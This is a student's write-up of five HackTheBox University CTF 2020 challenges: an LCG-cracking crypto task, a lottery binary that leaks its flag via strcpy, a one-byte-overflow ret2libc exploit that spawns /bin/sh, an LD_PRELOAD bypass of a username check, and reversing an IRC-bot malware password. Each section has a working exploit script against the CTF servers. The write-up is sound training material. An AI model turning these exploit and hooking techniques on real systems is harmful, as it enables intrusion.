HTB Uni CTF 2020
A couple weeks back I competed in HackTheBox's university CTF with a few other students from the Texas A&M Cybersecurity Club. We placed in 37th place out of a few hundred.
buggy time machine
I am the Doctor and I am in huge trouble. Rumors have it, you are the best time machine engineer in the galaxy. I recently bought a new randomiser for Tardis on Yquantine, but it must be counterfeit. Now every time I want to time travel, I will end up in a random year. Could you help me fix this? I need to find Amy and Rory! Daleks are after us. Did I say I am the Doctor?
initial review
import os
from datetime import datetime
from flask import Flask, render_template
from flask import request
import random
from math import gcd
import json
from secret import flag, hops, msg
class TimeMachineCore:
n = ...
m = ...
c = ...
def __init__(self, seed):
self.year = seed
def next(self):
self.year = (self.year * self.m + self.c) % self.n
return self.year
app = Flask(__name__)
a = datetime.now()
seed = int(a.strftime('%Y%m%d')) <<1337 % random.getrandbits(128)
gen = TimeMachineCore(seed)
@app.route('/next_year')
def next_year():
return json.dumps({'year':str(gen.next())})
@app.route('/predict_year', methods = ['POST'])
def predict_year():
prediction = request.json['year']
try:
if prediction ==gen.next():
return json.dumps({'msg': msg})
else:
return json.dumps({'fail': 'wrong year'})
except:
return json.dumps({'error': 'year not found in keys.'})
@app.route('/travelTo2020', methods = ['POST'])
def travelTo2020():
seed = request.json['seed']
gen = TimeMachineCore(seed)
for i in range(hops): state = gen.next()
if state == 2020:
return json.dumps({'flag': flag})
@app.route('/')
def home():
return render_template('index.html')
if __name__ == '__main__':
app.run(debug=True)
The first thing I noticed is that TimeMachineCore is a linear congruential generator. LCGs are not cryptographically secure so it is highly likely that we will be attacking the randomness.
We have three routes that we can interact with the time machine with:
/next_year
which generates a random number using a TimeMachineCore that was seeded with random bits at the beginning of the program/predict_year
which will give us the secret variablemsg
if we can predict the number it generatestravelTo2020
which will give us the flag if we can provided it a seed which generates2020
afterhops
random numbers
cracking LCG parameters
So the first thing to do here is cracking the LCG parameters. We have the ability to generate and receive an arbitrary number LCG states so it is pretty trivial to reverse engineer what the parameters which generated it are. I'm not going to go into the math behind how it works, but Cracking RNGs: Linear Congruential Generators is the article I used if you would like to read about it.
from functools import reduce
from math import gcd
def egcd(a, b):
lastremainder, remainder = abs(a), abs(b)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotient*x, x
y, lasty = lasty - quotient*y, y
return lastremainder, lastx * (-1 if a < 0 else 1), lasty * (-1 if b < 0 else 1)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise ValueError('modinv for {} does not exist'.format(a))
return x % m
def crack_unknown_increment(states, modulus, multiplier):
increment = (states[1] - states[0]*multiplier) % modulus
return modulus, multiplier, increment
def crack_unknown_multiplier(states, modulus):
multiplier = (states[2] - states[1]) * modinv(states[1] - states[0], modulus) % modulus
return crack_unknown_increment(states, modulus, multiplier)
def crack_unknown_modulus(states):
diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
modulus = abs(reduce(gcd, zeroes))
return crack_unknown_multiplier(states, modulus)
values = [
584293201,
1514369420,
1930412587,
1483060100,
279230708,
1138137296,
2098757662,
1590055177,
340421540,
2090774143,
617182341
]
print(crack_unknown_modulus(values))
❯ python crack_lcg_parameters.py
(2147483647, 48271, 0)
predicting the next year
We know the parameters and the last state so we can just solve for the next year trivially like so: (617182341 * 48271) mod 2147483647
❯ curl -X POST http://docker.hackthebox.eu:30263/predict_year --header "Content-Type: application/json" --data '{"year": 465839415}'
{"msg": "*Tardis trembles*\nDoctor this is Amy! I am with Rory in year 2020. You need to rescue us within exactly 876578 hops. Tardis bug has damaged time and space.\nRemeber, 876578 hops or the universes will collapse!"}
determining what seed gets us to 2020
Fun fact: an LCG is reversible! I'm not gonna bother with the math but it's a fairly simple function to get the previous state and you can see it in my solution script below. See this stackoverflow post if you're interested in the math.
❯ curl -X POST http://docker.hackthebox.eu:30263/travelTo2020 --header "Content-Type: application/json" --data '{"seed": 2113508741}'
{"flag": "HTB{l1n34r_c0n9ru3nc35_4nd_prn91Zz}"}
from functools import reduce
from math import gcd
def egcd(a, b):
lastremainder, remainder = abs(a), abs(b)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotient*x, x
y, lasty = lasty - quotient*y, y
return lastremainder, lastx * (-1 if a < 0 else 1), lasty * (-1 if b < 0 else 1)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise ValueError('modinv for {} does not exist'.format(a))
return x % m
def crack_unknown_increment(states, modulus, multiplier):
increment = (states[1] - states[0]*multiplier) % modulus
return modulus, multiplier, increment
def crack_unknown_multiplier(states, modulus):
multiplier = (states[2] - states[1]) * modinv(states[1] - states[0], modulus) % modulus
return crack_unknown_increment(states, modulus, multiplier)
def crack_unknown_modulus(states):
diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
modulus = abs(reduce(gcd, zeroes))
return crack_unknown_multiplier(states, modulus)
values = [
585065537,
141094830,
1117894293,
2053819234,
1325680659,
1213377283,
]
n, m, c = crack_unknown_modulus(values)
print("n = %s, m = %s, c = %s" % (n, m, c))
def get_next(num):
return (num * m) % n
def get_prev(num):
return modinv(m,n) * num % n
values.append(get_next(values[-1]))
print("predicted year = %s" % values[-1])
hops = 876578
print("seed = %s" % reduce(lambda acc, x: get_prev(acc), [x for x in range(hops)], 2020))
flag: HTB{l1n34r_c0n9ru3nc35_4nd_prn91Zz}
rigged_lottery
Is everything in life completely random? Are we unable to change our fate? Or maybe we can change the future and even manipulate randomness?! Is luck even a thing? Try your "luck"!
initial review
main
void main(void)
{
setup();
welcome();
generate();
do {
menu();
} while( true );
}
I will omit setup & welcome because they don't have anything interesting -- just writing a welcome message and setting io buffer settings. Otherwise, nothing interesting to note here except that generate gets called once before we get to do anything.
generate
void generate(void)
{
long in_FS_OFFSET;
int local_44;
int local_40;
int local_3c;
char local_38 [40];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_44 = 1;
local_40 = 0;
if (_flag == 0) {
printf("\nLength of number (1-32): ");
__isoc99_scanf(&DAT_00102073,&local_44);
if ((local_44 < 0x22) && (-1 < local_44)) {
memset(local_38,0,(long)local_44);
local_3c = open("/dev/urandom",0);
if (local_3c < 0) {
fwrite("\nError opening /dev/urandom, exiting..\n",1,0x27,stderr);
/* WARNING: Subroutine does not return */
exit(0x69);
}
read(local_3c,local_38,(long)local_44);
while (local_40 < local_44) {
while (local_38[local_40] == '\0') {
read(local_3c,local_38 + local_40,1);
}
local_40 = local_40 + 1;
}
strcpy(lucky_number,local_38);
close(local_3c);
puts("\nLucky number generated successfuly! Try your luck!");
}
else {
puts("\nInvalid size!");
}
}
else {
_flag = 0;
local_3c = open("/dev/urandom",0);
if (local_3c < 0) {
fwrite("\nError opening /dev/urandom, exiting..\n",1,0x27,stderr);
/* WARNING: Subroutine does not return */
exit(0x22);
}
read(local_3c,lucky_number,0x21);
close(local_3c);
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
The generate function has two main branches: the else branch runs the first time this function is called and populates lucky_number
with random numbers. The if _flag == 0
branch runs any time after the first because _flag
is set to 0 in the else branch. It will ask for a number between 0 and 32, read that many bytes from /dev/urandom, and then use strcpy
to move those bytes to lucky_number
. It should be noted that strcpy
is meant to copy strings not raw bytes and has a couple peculiarites. Namely that it also copies the terminating null byte from the source (because C strings are always null terminated). The implication here is that if we generate a number of bytes smaller than the max size of lucky_number
it will leave a null byte in lucky_number
menu
void menu(void)
{
long in_FS_OFFSET;
int local_14;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf((char *)(double)cosy_coins,
"\nCurrent cosy coins: %.2f\n\n1. Generate lucky number.\n2. Play game.\n3. Claimprize.\n4. Exit.\n"
);
__isoc99_scanf(&DAT_00102073,&local_14);
if (local_14 == 4) {
puts("Goodbye!\n");
/* WARNING: Subroutine does not return */
exit(0x45);
}
if (local_14 < 5) {
if (local_14 == 3) {
claim();
goto code_r0x0010174a;
}
if (local_14 < 4) {
if (local_14 == 1) {
generate();
goto code_r0x0010174a;
}
if (local_14 == 2) {
play();
goto code_r0x0010174a;
}
}
}
puts("Invalid option!\n");
menu();
code_r0x0010174a:
if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
return;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
Nothing super interesting here: we can either regenerate lucky numbers, play the game, or claim a prize.
play
void play(void)
{
int iVar1;
long in_FS_OFFSET;
float local_18;
int local_14;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
puts("\nHow many coins do you want to bet?");
__isoc99_scanf(&DAT_001020e4,&local_18);
cosy_coins = cosy_coins - local_18;
iVar1 = coin_check((ulong)(uint)cosy_coins);
if (iVar1 != 0) {
local_14 = open("/dev/urandom",0);
if (local_14 < 0) {
fwrite("\nError opening /dev/urandom, exiting..\n",1,0x27,stderr);
/* WARNING: Subroutine does not return */
exit(0x22);
}
read(local_14,rigged_number,0x31);
close(local_14);
iVar1 = strcmp(lucky_number,rigged_number);
if (iVar1 == 0) {
puts("\nYou won! Claim your reward!");
prize_flag = 1;
}
else {
puts("\nYou lost! Try again!");
}
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
We win if our lucky number is the same as the random numbers it generates. It's using /dev/urandom so that doesn't seem very easy to attack. The only thing I can think of would be getting a null byte into the first byte of lucky_number
and then trying repeatedly until /dev/urandom
gives us a null byte in the first byte of rigged_number
. It also doesn't do any bounds checking on the number of coins we bet which means we can bet a negative number of coins and get an arbitrary number of coins that way.
claim
void claim(void)
{
int __fd;
long in_FS_OFFSET;
int local_40;
byte local_38 [40];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
if ((prize_flag == 0) && (cosy_coins <= 100.00000000)) {
puts("\nNo prizes available!");
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
puts("\nEnjoy your prize!!\n");
cosy_coins = cosy_coins + 269.00000000;
local_40 = 0;
__fd = open("./flag.txt",0);
if (__fd < 0) {
fwrite("\nError opening flag, exiting..\n",1,0x1f,stderr);
/* WARNING: Subroutine does not return */
exit(0x6969);
}
read(__fd,local_38,0x21);
while (local_40 < 0x21) {
local_38[local_40] = local_38[local_40] ^ lucky_number[local_40];
local_40 = local_40 + 1;
}
close(__fd);
printf("%s",local_38);
/* WARNING: Subroutine does not return */
exit(0xa9);
}
So, we get the flag if prize_flag
is true or if we have more than 100 coins. It's pretty trivial to get more than 100 coins which makes it quite unfortunate that what we actually get is the flag bitwise XORed with our lucky number.
putting it all together
So, we can print out the flag XORed with our lucky number but where do we go from there? It's populated with random bytes at startup and attacking /dev/urandom
would be tough at best. If you'll recall, the generate function uses strcpy
to copy the randomly generated bytes into lucky_number
which will always copy a null terminator also. This means that if generate n random bytes then there will be a null byte in lucky_number[n]
which means we can leak a single byte of the flag. We can then just do this multiple times to leak every character and then attach them together.
#!/usr/bin/env python3
from pwn import *
exe = ELF("rigged_lottery")
context.binary = exe
def conn():
if args.LOCAL:
return process([exe.path])
else:
return remote("docker.hackthebox.eu", 30269)
def main():
buf = ""
for i in range(len(buf),32):
r = conn()
r.recvuntil("4. Exit.\n")
r.sendline("2")
r.sendline("-300")
r.recvuntil("4. Exit.\n")
r.sendline("1")
r.sendline(str(i))
r.recvuntil("4. Exit.\n")
r.sendline("3")
r.recvuntil("prize!!\n\n")
res = r.recvall()
buf += chr(res[i])
print(buf)
if __name__ == "__main__":
main()
❯ python rigged_lottery.py SILENT=1
HTB{strcpy_0nly_c4us3s_tr0ubl3!}
mirror
You found an ol' dirty mirror inside an abandoned house. This magic mirror reflects your most hidden desires! Use it to reveal the things you want the most in life! Don't say too much though..
initial review
❯ checksec mirror
[*] '/home/sky/Dropbox/ctf/hackthebox-uni-ctf-2020/pwn/mirror'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
❯ ./mirror
✨ This old mirror seems to contain some hidden power..✨
There is a writing at the bottom of it..
"The mirror will reveal whatever you desire the most.. Just talk to it.."
Do you want to talk to the mirror? (y/n)
> y
Your answer was: y
"This is a gift from the craftsman.. [0x7ffeb133f5b0] [0x7f9a77796b10]"
Now you can talk to the mirror.
> hi
No canary and we get a couple addresses to help bypass PIE. Let's take a look at what those addresses are and see if we can find where our stack overflow is.
main
undefined8 main(void)
{
undefined8 local_28;
undefined8 local_20;
undefined8 local_18;
undefined8 local_10;
setup();
local_28 = 0;
local_20 = 0;
local_18 = 0;
local_10 = 0;
puts(
"✨ This old mirror seems to contain some hidden power..✨\nThere is a writing at the bottom ofit.."
);
puts("\"The mirror will reveal whatever you desire the most.. Just talk to it..\"");
printf("Do you want to talk to the mirror? (y/n)\n> ");
read(0,&local_28,0x1f);
if (((char)local_28 != 'y') && ((char)local_28 != 'Y')) {
puts("You left the abandoned house safe!");
/* WARNING: Subroutine does not return */
exit(0x45);
}
printf("Your answer was: ");
printf((char *)&local_28);
reveal();
return 0;
}
reveal
void reveal(void)
{
undefined local_28 [32];
printf("\"This is a gift from the craftsman.. [%p] [%p]\"\n",local_28,printf);
printf("Now you can talk to the mirror.\n> ");
/* Overruns using local_28(+0,1,40) */
read(0,local_28,0x21);
return;
}
So, we have a one byte overrun from local_28 which means we can control the lower byte of the stored stack base pointer. The addresses it gives us are a variable on the stack and the location of printf.
leaking libc
❯ nc docker.hackthebox.eu 30272
✨ This old mirror seems to contain some hidden power..✨
There is a writing at the bottom of it..
"The mirror will reveal whatever you desire the most.. Just talk to it.."
Do you want to talk to the mirror? (y/n)
> y
Your answer was: y
"This is a gift from the craftsman.. [0x7ffda86edb00] [0x7f572b026f70]"
Now you can talk to the mirror.
> ^C
I will be using the lovely libc-database to figure out the libc version from the printf address it prints. ASLR means the upper bits are useless but the lower 12 are fixed and so can be used to determine the libc version.
❯ ./find printf f70
ubuntu-old-glibc (libc6_2.24-9ubuntu2.2_i386)
ubuntu-old-glibc (libc6_2.24-9ubuntu2_i386)
ubuntu-glibc (libc6_2.27-3ubuntu1.3_amd64)
debian-glibc (libc6_2.31-4_i386)
We have four candidates, only one of which is amd64 so it's pretty easy to pick from them. The server is likely running libc 2.27.
putting it all together
We only have a single byte overrun so we can't overwrite the return pointer directly but as it turns out we don't need to because the main function returns after reveal
finishes. The "true" stored stack base pointer and the address of the buffer we're writing to only differ by a single byte so we can overwrite that byte and when reveal
returns it will adjust the stack frame such that when main returns it looks to the beginning of our buffer for the return pointer. We also know the libc version and the address of a symbol within libc so we can perform a ret2libc attack and call system("/bin/sh")
#!/usr/bin/env python3
from pwn import *
import re
exe = ELF("mirror")
context.binary = exe
context.terminal = ["termite","-e"]
def conn():
if args.LOCAL:
libc = ELF("/home/sky/libc-database/db/libc-2.32-5-x86_64.so")
return (libc, process([exe.path]))
else:
libc = ELF("/home/sky/libc-database/db/libc6_2.27-3ubuntu1.3_amd64.so")
return (libc, remote("docker.hackthebox.eu", 30272))
def send_padded(r, msg, l):
assert len(msg) <= l
r.send(msg + b"A" * (l - len(msg)))
def main():
libc, r = conn()
libc_rop = ROP(libc)
POP_RDI = (libc_rop.find_gadget(['pop rdi', 'ret']))[0]
send_padded(r,b"y",0x1f)
r.recvuntil("This is a gift from the craftsman..")
addresses = r.recvline().decode()
capture = re.search("\[(.*)\] \[(.*)\]", addresses)
stack_addr = int(capture.group(1),16)
printf_addr = int(capture.group(2),16)
stack_exec_addr = stack_addr - 8 # gotta move this back 8 bytes so that the stored return pointer is at the front of our buffer
libc_base = printf_addr - libc.symbols["printf"]
libc.address = libc_base
buf = p64(libc_base + POP_RDI) + p64(next(libc.search(b"/bin/sh"))) + p64(libc.symbols['system']) + b"B" * 8 + bytes([(stack_exec_addr) & 0xff])
r.send(buf)
# good luck pwning :)
r.interactive()
if __name__ == "__main__":
main()
❯ python mirror.py
[*] '/home/sky/Dropbox/ctf/hackthebox-uni-ctf-2020/pwn/mirror'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/sky/libc-database/db/libc6_2.27-3ubuntu1.3_amd64.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to docker.hackthebox.eu on port 30272: Done
[*] Loading gadgets for '/home/sky/libc-database/db/libc6_2.27-3ubuntu1.3_amd64.so'
[*] Switching to interactive mode
Now you can talk to the mirror.
> $ cat flag.txt
HTB{0n3_byt3_cl0s3r_2_v1ct0ry}
$
Hi! My name is (what?)
I've been once told that my name is difficult to pronounce and since then I'm using it as a password for everything.
initial review
void main(void)
{
EVP_PKEY_CTX *ctx;
__uid_t __uid;
passwd *ppVar1;
long lVar2;
int iVar3;
size_t sVar4;
size_t *outlen;
uchar *in;
size_t in_stack_ffffffd0;
int local_28;
puts("Who are you?");
__uid = geteuid();
ppVar1 = getpwuid(__uid);
in = (uchar *)0x0;
lVar2 = ptrace(PTRACE_TRACEME,0,0);
if (lVar2 != 0) {
puts("This doesn\'t seem right");
/* WARNING: Subroutine does not return */
exit(1);
}
if (ppVar1 != (passwd *)0x0) {
ctx = (EVP_PKEY_CTX *)ppVar1->pw_name;
iVar3 = strcmp((char *)ctx,username);
if (iVar3 == 0) {
local_28 = 0;
while (local_28 < 0x198) {
if ((*(uint *)(main + local_28) & 0xff) == breakpointvalue) {
puts("What\'s this now?");
/* WARNING: Subroutine does not return */
exit(1);
}
local_28 = local_28 + 1;
}
sVar4 = strlen(encrypted_flag);
outlen = (size_t *)malloc((sVar4 + 1) * 4);
decrypt(ctx,encrypted_flag,outlen,in,in_stack_ffffffd0);
*(undefined *)((int)outlen + sVar4) = 0;
puts((char *)outlen);
}
else {
puts("No you are not the right person");
}
/* WARNING: Subroutine does not return */
exit(0);
}
puts("?");
/* WARNING: Subroutine does not return */
exit(1);
}
So, we see a couple anti-debugging features (ptrace, etc) but those aren't super relevant. If the current executing username matches ~#L-:4;f
then it will decrypt a stored flag and print it. The decryption involves the username so we can't just binary patch the username check away. This is problematic because this is not a valid linux username. So, what can we do?
i can so ptrace (alternative title: how you can just overwrite any dynamic library function)
Fun fact: on a Linux system the dynamic linker will check the environmental variable LD_PRELOAD for libraries and then bind those symbols before any other libraries. What happens if two libraries provide the same symbol? Well, the one which loads first! LD_PRELOAD goes before any linked libraries which means that if you preload a shared library which exports a symbol it will override the symbol from the later loading library. What this means is that we can just overwrite getpwuid so that it returns a struct with an arbitrary username!
#include <sys/types.h>
#include <stdlib.h>
#include <pwd.h>
long ptrace(int request, pid_t pid,
void *addr, void *data) {
return 0;
}
struct passwd *getpwuid(uid_t uid) {
struct passwd* ret = malloc(sizeof(struct passwd));
ret->pw_name = "~#L-:4;f";
ret->pw_passwd = "a";
ret->pw_uid = 0;
ret->pw_gid = 0;
return ret;
}
❯ gcc -m32 preload.c -shared -o preload.so
❯ LD_PRELOAD=$(pwd)/preload.so ./my_name_is
Who are you?
HTB{L00k1ng_f0r_4_w31rd_n4m3}
ircware
During a routine check on our servers we found this suspicious binary, but when analyzing it we couldn't get it to do anything. We assume it's dead malware but maybe something interesting can still be extracted from it?
initial review
entry
undefined [16] entry(void)
{
int iVar1;
/* rax = 0x13e, getrandom */
syscall();
s_NICK_ircware_0000_00601018._13_4_ = s_NICK_ircware_0000_00601018._13_4_ & 0x7070707;
s_NICK_ircware_0000_00601018._13_4_ = s_NICK_ircware_0000_00601018._13_4_ | 0x30303030;
iVar1 = connect_localhost_8000(0x601025,4,0);
if (-1 < iVar1) {
write_empty_line?();
write_empty_line?();
write_empty_line?();
do {
read?();
command_handler();
} while( true );
}
syscall();
syscall();
return CONCAT88(DAT_00601068,0x3c);
}
Not a lot in the entry function. It connects to a local server on port 8000 and then does some read/write on that socket but doesn't seem to actually write much.
command_handler
void command_handler(void)
{
...
lVar5 = DAT_00601179;
pcVar9 = pcVar13;
pcVar11 = s_PRIVMSG_#secret_:@pass_00601161;
...
pcVar9 = pcVar13;
pcVar11 = s_PRIVMSG_#secret_:@flag_00601128;
do {
pcVar12 = pcVar11;
if (lVar5 == 0) break;
lVar5 = lVar5 + -1;
pcVar12 = pcVar11 + 1;
cVar1 = *pcVar9;
cVar2 = *pcVar11;
pcVar9 = pcVar9 + 1;
pcVar11 = pcVar12;
} while (cVar1 == cVar2);
if (lVar5 == 0) {
if (_DAT_00601008 == 0) {
FUN_00400485(pcVar12,s_Requires_password_006010c2,&DAT_006021a9,DAT_006010d4);
return;
}
I've stripped large parts of this function out because they weren't super useful decompilation and this contains the relevant bits. The important things to notice here are that:
- This is IRC -- the PRIMSG #secret is a dead giveaway. I just guessed at this point that it wanted an IRC server so I ran one and joined the #secret channel.
- the is a @flag command but it requires a password
- there is a @pass function
The implication here is that this is an IRC bot and we need to give it the correct password before it will give us the flag.
so what's the password?
LAB_00400401 XREF[1]: 0040043c(j)
00400401 8a 06 MOV AL,byte ptr [RSI]=>DAT_006021c0 = ??
00400403 88 03 MOV byte ptr [RBX]=>DAT_00601147,AL = "JJ3DSCP"
= 52h
00400405 3c 00 CMP AL,0x0
00400407 74 35 JZ LAB_0040043e
00400409 3c 0a CMP AL,0xa
0040040b 74 31 JZ LAB_0040043e
0040040d 3c 0d CMP AL,0xd
0040040f 74 2d JZ LAB_0040043e
00400411 48 3b 15 CMP RDX,qword ptr [DAT_00601159] = 08h
41 0d 20 00
00400418 77 4c JA LAB_00400466
0040041a 3c 41 CMP AL,0x41
0040041c 72 0e JC LAB_0040042c
0040041e 3c 5a CMP AL,0x5a
00400420 77 0a JA LAB_0040042c
00400422 04 11 ADD AL,0x11
00400424 3c 5a CMP AL,0x5a
00400426 76 04 JBE LAB_0040042c
00400428 2c 5a SUB AL,0x5a
0040042a 04 40 ADD AL,0x40
LAB_0040042c XREF[3]: 0040041c(j), 00400420(j),
00400426(j)
0040042c 38 07 CMP byte ptr [RDI]=>s_RJJ3DSCP_00601150,AL = "RJJ3DSCP"
0040042e 75 36 JNZ LAB_00400466
00400430 48 ff c2 INC RDX
00400433 48 ff c3 INC RBX
00400436 48 ff c6 INC RSI
00400439 48 ff c7 INC RDI
0040043c eb c3 JMP LAB_00400401
LAB_0040043e XREF[3]: 00400407(j), 0040040b(j),
0040040f(j)
0040043e 48 89 ce MOV RSI,RCX
00400441 48 3b 15 CMP RDX,qword ptr [DAT_00601159] = 08h
11 0d 20 00
00400448 75 1c JNZ LAB_00400466
0040044a 48 ff 05 INC qword ptr [DAT_00601008]
b7 0b 20 00
00400451 48 8d 35 LEA RSI,[s_Accepted_00601092] = "Accepted"
3a 0c 20 00
00400458 48 8b 0d MOV RCX,qword ptr [DAT_0060109b] = 0000000000000009h
3c 0c 20 00
0040045f e8 21 00 CALL FUN_00400485 undefined FUN_00400485()
00 00
00400464 eb 1e JMP LAB_00400484
LAB_00400466 XREF[3]: 00400418(j), 0040042e(j),
00400448(j)
00400466 48 c7 05 MOV qword ptr [DAT_00601008],0x0
97 0b 20
00 00 00
00400471 48 8d 35 LEA RSI,[s_Rejected_006010a3] = "Rejected"
2b 0c 20 00
00400478 48 8b 0d MOV RCX,qword ptr [DAT_006010ac] = 0000000000000009h
2d 0c 20 00
0040047f e8 01 00 CALL FUN_00400485 undefined FUN_00400485()
00 00
So the core flow of this segment of assembly is a fancy string comparison. It loads the byte it is currently operating on (so 0th, 1st, 2nd, until it goes through 8 of them), mutates it based on a condition, and then compares it against RJJ3DSCP
. I will put these mutations in the form of a python script because that's how I solved it and I don't want to explain it with english lol.
from string import printable
def mutate(c):
if c < 0x41:
return c
if c > 0x5a:
return c
c += 0x11
if c <= 0x5a:
return c
c -= 0x5a
c += 0x40
return c
comp = "RJJ3DSCP"
for i in range(8):
for j in printable:
if chr(mutate(ord(j))) == comp[i]:
print(j,end='')
That script solves for ASS3MBLY which definitely looks meaningful. Let's try telling it to the bot!
* Now talking on #secret
* #secret :No topic is set
* ircware_7040 (ircware@127.0.0.1) has joined
<sky> @pass ASS3MBLY
<ircware_7040> Accepted
<sky> @flag
<ircware_7040> HTB{m1N1m411st1C_fL4g_pR0v1d3r_b0T}